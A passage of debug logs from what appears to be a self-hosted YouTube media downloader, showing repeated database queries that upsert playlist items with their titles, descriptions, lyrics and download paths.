Gods[lwsLjgrLcQk].m4a", false, 4, ~U[2019-02-28 10:15:08Z]] 22:21:37.104 [debug] QUERY OK source="sources" db=0.2ms idle=193.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:37.104 [debug] QUERY OK source="media_items" db=0.1ms idle=166.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-11 10:00:37Z], 4] 22:21:37.268 [debug] QUERY OK source="media_items" db=163.4ms idle=166.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Jive/Legacy\n\nAnimal I Have Become · Three Days Grace\n\nOne-X\n\n℗ 2006 RCA Records, a division of Sony Music Entertainment\n\nReleased on: 2006-06-13\n\nLyricist, Guitar, Composer: Barry Stock\nAssociated Performer: Three Days Grace\nLyricist, Vocal, Guitar, Composer: Adam Gontier\nComposer, Background Vocal, Drums, Lyricist: Neil Sanderson\nComposer, Bass, Lyricist: Brad Walst\nProducer, Keyboards, Programmer: Howard Benson\nBackground Vocal: Ned Brower\nLyricist, Composer: Gavin Brown\nMixing Engineer: Chris Lord-Alge\nMastering Engineer: Ted Jensen\nA& R Director: Michael Tedesco\nRecording Engineer: Mike Plotnikoff\nAssistant Engineer: Hatsukazu Inagaki\n\nAuto-generated by YouTube.", "Animal I Have Become", "0cf891d1-0b0f-46c2-b9ac-93d97ed7e6f5", false, "CBNGKAH0Xn4", 231, false, "https://www.youtube.com/watch?v=CBNGKAH0Xn4", 20, "/downloads/Grift/Grift/2026-06-11Animal I Have Become[CBNGKAH0Xn4].m4a", false, false, 4, [], 2, ~U[2026-06-11 10:00:37Z], ~U[2026-07-24 02:21:37Z], ~U[2026-07-24 02:21:37Z], "Provided to YouTube by Jive/Legacy\n\nAnimal I Have Become · Three Days Grace\n\nOne-X\n\n℗ 2006 RCA Records, a division of Sony Music Entertainment\n\nReleased on: 2006-06-13\n\nLyricist, Guitar, Composer: Barry Stock\nAssociated Performer: Three Days Grace\nLyricist, Vocal, Guitar, Composer: Adam Gontier\nComposer, Background Vocal, Drums, Lyricist: Neil Sanderson\nComposer, Bass, Lyricist: Brad Walst\nProducer, Keyboards, Programmer: Howard Benson\nBackground Vocal: Ned Brower\nLyricist, Composer: Gavin Brown\nMixing Engineer: Chris Lord-Alge\nMastering Engineer: Ted Jensen\nA& R Director: Michael Tedesco\nRecording Engineer: Mike Plotnikoff\nAssistant Engineer: Hatsukazu Inagaki\n\nAuto-generated by YouTube.", "Animal I Have Become", "CBNGKAH0Xn4", 231, false, "https://www.youtube.com/watch?v=CBNGKAH0Xn4", "/downloads/Grift/Grift/2026-06-11Animal I Have Become[CBNGKAH0Xn4].m4a", false, 4, ~U[2026-06-11 10:00:37Z]] 22:21:37.268 [debug] QUERY OK source="sources" db=0.2ms idle=165.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:37.268 [debug] QUERY OK source="media_items" db=0.1ms idle=164.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-11 14:04:52Z], 4] 22:21:37.373 [debug] QUERY OK source="media_items" db=104.1ms idle=164.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Some light edit experiments\nSong: Chikoi the Maid - YMPN\n\nThe Maid House Discord: https://discord.gg/zx57J4aNTr\nMaidcore Discord: https://discord.gg/mGjkk8aJym\n\nVisual artist: Hetza\nhttps://x.com/Hetzabot\n\nChikoi's social stuff:\nYandex Music: music.yandex.ru/artist/18753014\nSpotify: https://open.spotify.com/artist/57LJ0REqRqqMJEIMBZotTx\nBoosty (For Donations as well): boosty.to/chikoithemaid\nDonationAlerts: donationalerts.com/r/chikoisan\nSoundcloud: https://soundcloud.com/chikoithemaid \nBandcamp: https://chikoithemaid.bandcamp.com/\nTwitch: https://www.twitch.tv/chikoisan\nVK: https://vk.com/chikoi_is_small", "Tired of this Shit", "8a4dd4f6-e0e3-4ef2-ac37-f6afb8eb6025", false, "DhOfMv2yDsw", 225, false, "https://www.youtube.com/watch?v=DhOfMv2yDsw", 21, "/downloads/Grift/Grift/2026-06-11Tired of this Shit[DhOfMv2yDsw].m4a", false, false, 4, [], 2, ~U[2026-06-11 14:04:52Z], ~U[2026-07-24 02:21:37Z], ~U[2026-07-24 02:21:37Z], "Some light edit experiments\nSong: Chikoi the Maid - YMPN\n\nThe Maid House Discord: https://discord.gg/zx57J4aNTr\nMaidcore Discord: https://discord.gg/mGjkk8aJym\n\nVisual artist: Hetza\nhttps://x.com/Hetzabot\n\nChikoi's social stuff:\nYandex Music: music.yandex.ru/artist/18753014\nSpotify: https://open.spotify.com/artist/57LJ0REqRqqMJEIMBZotTx\nBoosty (For Donations as well): boosty.to/chikoithemaid\nDonationAlerts: donationalerts.com/r/chikoisan\nSoundcloud: https://soundcloud.com/chikoithemaid \nBandcamp: https://chikoithemaid.bandcamp.com/\nTwitch: https://www.twitch.tv/chikoisan\nVK: https://vk.com/chikoi_is_small", "Tired of this Shit", "DhOfMv2yDsw", 225, false, "https://www.youtube.com/watch?v=DhOfMv2yDsw", "/downloads/Grift/Grift/2026-06-11Tired of this Shit[DhOfMv2yDsw].m4a", false, 4, ~U[2026-06-11 14:04:52Z]] 22:21:37.373 [debug] QUERY OK source="sources" db=0.2ms idle=105.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:37.374 [debug] QUERY OK source="media_items" db=0.1ms idle=105.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-12-10 11:57:55Z], 4] 22:21:37.532 [debug] QUERY OK source="media_items" db=157.7ms idle=1.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["This version of 'Noosphere' by Guillaume David is a little different from the original, i wanted to put the part i prefer together. Enjoy !\n\nPraise the omnissiah !\n\nFrom the Warhammer 40k game 'Mechanicus'\nArt: https://oniric-realms.tumblr.com/post/160327943468/james-martin", "Noosphere (Pipe Organ Cut)", "a7a63a57-e807-4b0f-bcc8-b191cc5eee6d", false, "KCR7ovEwtCA", 465, false, "https://www.youtube.com/watch?v=KCR7ovEwtCA", 22, "/downloads/Grift/Grift/2021-12-10Noosphere (Pipe Organ Cut)[KCR7ovEwtCA].m4a", false, false, 4, [], 1, ~U[2021-12-10 11:57:55Z], ~U[2026-07-24 02:21:37Z], ~U[2026-07-24 02:21:37Z], "This version of 'Noosphere' by Guillaume David is a little different from the original, i wanted to put the part i prefer together. Enjoy !\n\nPraise the omnissiah !\n\nFrom the Warhammer 40k game 'Mechanicus'\nArt: https://oniric-realms.tumblr.com/post/160327943468/james-martin", "Noosphere (Pipe Organ Cut)", "KCR7ovEwtCA", 465, false, "https://www.youtube.com/watch?v=KCR7ovEwtCA", "/downloads/Grift/Grift/2021-12-10Noosphere (Pipe Organ Cut)[KCR7ovEwtCA].m4a", false, 4, ~U[2021-12-10 11:57:55Z]] 22:21:37.532 [debug] QUERY OK source="sources" db=0.2ms idle=158.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:37.533 [debug] QUERY OK source="media_items" db=0.1ms idle=158.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-06 10:01:24Z], 4] 22:21:37.720 [debug] QUERY OK source="media_items" db=187.0ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["reupload of the song that just got taken down", "Bury the light x A beautiful song *REUPLOAD*", "9483682a-ea71-4a66-9552-2caa83aeb7bf", false, "BZfXeRvZkHo", 570, false, "https://www.youtube.com/watch?v=BZfXeRvZkHo", 23, "/downloads/Grift/Grift/2022-11-06Bury the light x A beautiful song *REUPLOAD*[BZfXeRvZkHo].m4a", false, false, 4, [], 1, ~U[2022-11-06 10:01:24Z], ~U[2026-07-24 02:21:37Z], ~U[2026-07-24 02:21:37Z], "reupload of the song that just got taken down", "Bury the light x A beautiful song *REUPLOAD*", "BZfXeRvZkHo", 570, false, "https://www.youtube.com/watch?v=BZfXeRvZkHo", "/downloads/Grift/Grift/2022-11-06Bury the light x A beautiful song *REUPLOAD*[BZfXeRvZkHo].m4a", false, 4, ~U[2022-11-06 10:01:24Z]] 22:21:37.721 [debug] QUERY OK source="sources" db=0.3ms idle=188.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:37.722 [debug] QUERY OK source="media_items" db=0.3ms idle=188.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-03-07 09:45:39Z], 4] 22:21:37.887 [debug] QUERY OK source="media_items" db=164.7ms idle=2.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Taken from the album 'Bad Contestant', available on vinyl https://matt-maltese.com\n\nListen to more from the album Bad Contestant here: https://www.youtube.com/playlist?list=OLAK5uy_mdHlQL-PBoKISfsyPH0UkCgRc83jrEtcA\n\nSubscribe to Matt's channel here:\nhttps://NettwerkMusic.lnk.to/MMYTsubscribe\n\nFollow Matt Maltese:\nInstagram: https://www.instagram.com/matthewmaltese\nTikTok: https://www.tiktok.com/@tonightmatthew\nTwitter: https://twitter.com/matthewmaltese\nFacebook: https://www.facebook.com/MattMaltesemusic\n\nLyrics:\nMy feet are aching\nAnd your back is pretty tired\nAnd we've drunk a couple bottles, babe\nAnd set our grief aside\nThe papers say it's doomsday\nThe button has been pressed\nWe're gonna nuke each other up boys\n'Til old satan stands impressed\n\nAnd here it is, our final night alive\nAnd as the earth runs to the ground\n\nOh, girl, it's you that I lie with\nAs the atom bomb locks in\nOh it's you I watch TV with\nAs the world, as the world caves in\n\nYou put your finest suit on\nI paint my fingernails\nOh we're going out in style babe\nAnd everything's on sale\nWe creep up on extinction\nI pull your arms right in\nI weep and say goodnight love\nWhile my organs pack it in\n \nAnd here it is, our final night alive\nAnd as the earth runs to the ground\n\nOh, girl, it's you that I lie with\nAs the atom bomb locks in\nOh it's you I watch TV with\nAs the world, as the world caves...\n\nOh it's you that I lie with\nAs the atom bomb locks in\nYes it's you I welcome death with\nAs the world, as the world caves in\n\nAs the world caves in\n\n#MattMaltese #AsTheWorldCavesIn #BadContestant", "Matt Maltese - As the World Caves In [Official Audio]", "4354a2ba-a73c-4565-915e-4c8b51f33450", false, "yS2KyK3pqj4", 214, false, "https://www.youtube.com/watch?v=yS2KyK3pqj4", 24, "/downloads/Grift/Grift/2017-03-07Matt Maltese - As the World Caves In [Official Audio][yS2KyK3pqj4].m4a", false, false, 4, [], 1, ~U[2017-03-07 09:45:39Z], ~U[2026-07-24 02:21:37Z], ~U[2026-07-24 02:21:37Z], "Taken from the album 'Bad Contestant', available on vinyl https://matt-maltese.com\n\nListen to more from the album Bad Contestant here: https://www.youtube.com/playlist?list=OLAK5uy_mdHlQL-PBoKISfsyPH0UkCgRc83jrEtcA\n\nSubscribe to Matt's channel here:\nhttps://NettwerkMusic.lnk.to/MMYTsubscribe\n\nFollow Matt Maltese:\nInstagram: https://www.instagram.com/matthewmaltese\nTikTok: https://www.tiktok.com/@tonightmatthew\nTwitter: https://twitter.com/matthewmaltese\nFacebook: https://www.facebook.com/MattMaltesemusic\n\nLyrics:\nMy feet are aching\nAnd your back is pretty tired\nAnd we've drunk a couple bottles, babe\nAnd set our grief aside\nThe papers say it's doomsday\nThe button has been pressed\nWe're gonna nuke each other up boys\n'Til old satan stands impressed\n\nAnd here it is, our final night alive\nAnd as the earth runs to the ground\n\nOh, girl, it's you that I lie with\nAs the atom bomb locks in\nOh it's you I watch TV with\nAs the world, as the world caves in\n\nYou put your finest suit on\nI paint my fingernails\nOh we're going out in style babe\nAnd everything's on sale\nWe creep up on extinction\nI pull your arms right in\nI weep and say goodnight love\nWhile my organs pack it in\n \nAnd here it is, our final night alive\nAnd as the earth runs to the ground\n\nOh, girl, it's you that I lie with\nAs the atom bomb locks in\nOh it's you I watch TV with\nAs the world, as the world caves...\n\nOh it's you that I lie with\nAs the atom bomb locks in\nYes it's you I welcome death with\nAs the world, as the world caves in\n\nAs the world caves in\n\n#MattMaltese #AsTheWorldCavesIn #BadContestant", "Matt Maltese - As the World Caves In [Official Audio]", "yS2KyK3pqj4", 214, false, "https://www.youtube.com/watch?v=yS2KyK3pqj4", "/downloads/Grift/Grift/2017-03-07Matt Maltese - As the World Caves In [Official Audio][yS2KyK3pqj4].m4a", false, 4, ~U[2017-03-07 09:45:39Z]] 22:21:37.888 [debug] QUERY OK source="sources" db=0.2ms idle=166.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:37.888 [debug] QUERY OK source="media_items" db=0.2ms idle=166.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2015-12-08 15:28:55Z], 4] 22:21:38.043 [debug] QUERY OK source="media_items" db=153.5ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["New album Divisive out now: https://Disturbed.lnk.to/Divisive\n\n🔔 Subscribe to the channel: https://youtube.com/c/DisturbedTV/?sub_confirmation=1\n\nSee Disturbed live: https://Disturbed.lnk.to/tourdatesAY\n\nFollow Disturbed:\nOfficial Website - https://disturbed1.com\nFacebook - https://facebook.com/disturbed\nTwitter - https://twitter.com/disturbed\nInstagram - https://instagram.com/disturbed\nTikTok - https://www.tiktok.com/@disturbed\nSpotify - https://smarturl.it/disturbed.spotify\n\nLyrics:\nHello, darkness, my old friend\nI've come to talk with you again\nBecause a vision softly creeping\nLeft its seeds while I was sleeping\n\nAnd the vision that was planted in my brain\nStill remains\nWithin the sound of silence\n\nIn restless dreams I walked alone\nNarrow streets of cobblestone\n'Neath the halo of a street lamp\nI turned my collar to the cold and damp\n\nWhen my eyes were stabbed by the flash of a neon light\nThat split the night\nAnd touched the sound of silence\n\nAnd in the naked light I saw\nTen thousand people, maybe more\nPeople talking without speaking\nPeople hearing without listening\n\nPeople writing songs that voices never share\nAnd no one dare\nDisturb the sound of silence\n\n\"Fools,\" said I, \"\"You do not know\nSilence, like a cancer, grows\nHear my words that I might teach you\nTake my arms that I might reach you\"\"\n\nBut my words like silent raindrops fell\nAnd echoed in the wells of silence\n\nAnd the people bowed and prayed\nTo the neon god they made\nAnd the sign flashed out its warning\nIn the words that it was forming\n\nAnd the sign said\n\"The words of the prophets are written on the subway walls\nAnd tenement halls\nAnd whispered in the sound\nOf silence\"\n\n#OfficialMusicVideo #Disturbed #SoundOfSilence #WeAreWarnerRecords", "Disturbed - The Sound Of Silence (Official Music Video) [4K UPGRADE]", "8068fcd4-df60-47a4-aa9a-7e60360f8b98", false, "u9Dg-g7t2l4", 262, false, "https://www.youtube.com/watch?v=u9Dg-g7t2l4", 25, "/downloads/Grift/Grift/2015-12-08Disturbed - The Sound Of Silence (Official Music Video) [4K UPGRADE][u9Dg-g7t2l4].m4a", false, false, 4, [], 1, ~U[2015-12-08 15:28:55Z], ~U[2026-07-24 02:21:37Z], ~U[2026-07-24 02:21:37Z], "New album Divisive out now: https://Disturbed.lnk.to/Divisive\n\n🔔 Subscribe to the channel: https://youtube.com/c/DisturbedTV/?sub_confirmation=1\n\nSee Disturbed live: https://Disturbed.lnk.to/tourdatesAY\n\nFollow Disturbed:\nOfficial Website - https://disturbed1.com\nFacebook - https://facebook.com/disturbed\nTwitter - https://twitter.com/disturbed\nInstagram - https://instagram.com/disturbed\nTikTok - https://www.tiktok.com/@disturbed\nSpotify - https://smarturl.it/disturbed.spotify\n\nLyrics:\nHello, darkness, my old friend\nI've come to talk with you again\nBecause a vision softly creeping\nLeft its seeds while I was sleeping\n\nAnd the vision that was planted in my brain\nStill remains\nWithin the sound of silence\n\nIn restless dreams I walked alone\nNarrow streets of cobblestone\n'Neath the halo of a street lamp\nI turned my collar to the cold and damp\n\nWhen my eyes were stabbed by the flash of a neon light\nThat split the night\nAnd touched the sound of silence\n\nAnd in the naked light I saw\nTen thousand people, maybe more\nPeople talking without speaking\nPeople hearing without listening\n\nPeople writing songs that voices never share\nAnd no one dare\nDisturb the sound of silence\n\n\"Fools,\" said I, \"\"You do not know\nSilence, like a cancer, grows\nHear my words that I might teach you\nTake my arms that I might reach you\"\"\n\nBut my words like silent raindrops fell\nAnd echoed in the wells of silence\n\nAnd the people bowed and prayed\nTo the neon god they made\nAnd the sign flashed out its warning\nIn the words that it was forming\n\nAnd the sign said\n\"The words of the prophets are written on the subway walls\nAnd tenement halls\nAnd whispered in the sound\nOf silence\"\n\n#OfficialMusicVideo #Disturbed #SoundOfSilence #WeAreWarnerRecords", "Disturbed - The Sound Of Silence (Official Music Video) [4K UPGRADE]", "u9Dg-g7t2l4", 262, false, "https://www.youtube.com/watch?v=u9Dg-g7t2l4", "/downloads/Grift/Grift/2015-12-08Disturbed - The Sound Of Silence (Official Music Video) [4K UPGRADE][u9Dg-g7t2l4].m4a", false, 4, ~U[2015-12-08 15:28:55Z]] 22:21:38.043 [debug] QUERY OK source="sources" db=0.2ms idle=155.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:38.044 [debug] QUERY OK source="media_items" db=0.2ms idle=155.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-03 15:55:14Z], 4] 22:21:38.154 [debug] QUERY OK source="media_items" db=109.8ms idle=1.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["A mix of Fallen Angel, The Death of God's Will, and Silence, Introspection; similar to something I've done in the past.\n\nI DO NOT OWN ANYTHING IN THIS VIDEO\nAll music was made by Heaven Pierce Her, go buy the album at https://heavenpierceher.bandcamp.com/album/ultrakill-imperfect-hatred\nBuy ULTRAKILL at devilmayquake.com", "The Death Of God's Will (Full Mix + Voice Lines)", "d05666fd-a488-496d-ad0d-f4222dd10c7b", false, "AnLuKx_c7Ds", 536, false, "https://www.youtube.com/watch?v=AnLuKx_c7Ds", 26, "/downloads/Grift/Grift/2022-09-03The Death Of God's Will (Full Mix + Voice Lines)[AnLuKx_c7Ds].m4a", false, false, 4, [], 1, ~U[2022-09-03 15:55:14Z], ~U[2026-07-24 02:21:38Z], ~U[2026-07-24 02:21:38Z], "A mix of Fallen Angel, The Death of God's Will, and Silence, Introspection; similar to something I've done in the past.\n\nI DO NOT OWN ANYTHING IN THIS VIDEO\nAll music was made by Heaven Pierce Her, go buy the album at https://heavenpierceher.bandcamp.com/album/ultrakill-imperfect-hatred\nBuy ULTRAKILL at devilmayquake.com", "The Death Of God's Will (Full Mix + Voice Lines)", "AnLuKx_c7Ds", 536, false, "https://www.youtube.com/watch?v=AnLuKx_c7Ds", "/downloads/Grift/Grift/2022-09-03The Death Of God's Will (Full Mix + Voice Lines)[AnLuKx_c7Ds].m4a", false, 4, ~U[2022-09-03 15:55:14Z]] 22:21:38.155 [debug] QUERY OK source="sources" db=0.2ms idle=110.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:38.155 [debug] QUERY OK source="media_items" db=0.1ms idle=110.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-01 16:29:56Z], 4] 22:21:38.310 [debug] QUERY OK source="media_items" db=154.6ms idle=1.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["after dark | sweater weather | slowed | reverb\n\n\n\n☙ i do not own the music or the gif in this video all credits to the original artist/owner ❧\n\n☙ use headphones for a better experience ❧\n\noriginal mashup: cole russo https://www.youtube.com/watch?v=hvL-2TF9bLY", "after dark x sweater weather [slowed + reverb]", "fbeeb94f-d95a-44d9-9fa0-9bec20c0b03c", false, "StmnlIJwXeg", 297, false, "https://www.youtube.com/watch?v=StmnlIJwXeg", 27, "/downloads/Grift/Grift/2022-05-01after dark x sweater weather [slowed + reverb][StmnlIJwXeg].m4a", false, false, 4, [], 1, ~U[2022-05-01 16:29:56Z], ~U[2026-07-24 02:21:38Z], ~U[2026-07-24 02:21:38Z], "after dark | sweater weather | slowed | reverb\n\n\n\n☙ i do not own the music or the gif in this video all credits to the original artist/owner ❧\n\n☙ use headphones for a better experience ❧\n\noriginal mashup: cole russo https://www.youtube.com/watch?v=hvL-2TF9bLY", "after dark x sweater weather [slowed + reverb]", "StmnlIJwXeg", 297, false, "https://www.youtube.com/watch?v=StmnlIJwXeg", "/downloads/Grift/Grift/2022-05-01after dark x sweater weather [slowed + reverb][StmnlIJwXeg].m4a", false, 4, ~U[2022-05-01 16:29:56Z]] 22:21:38.310 [debug] 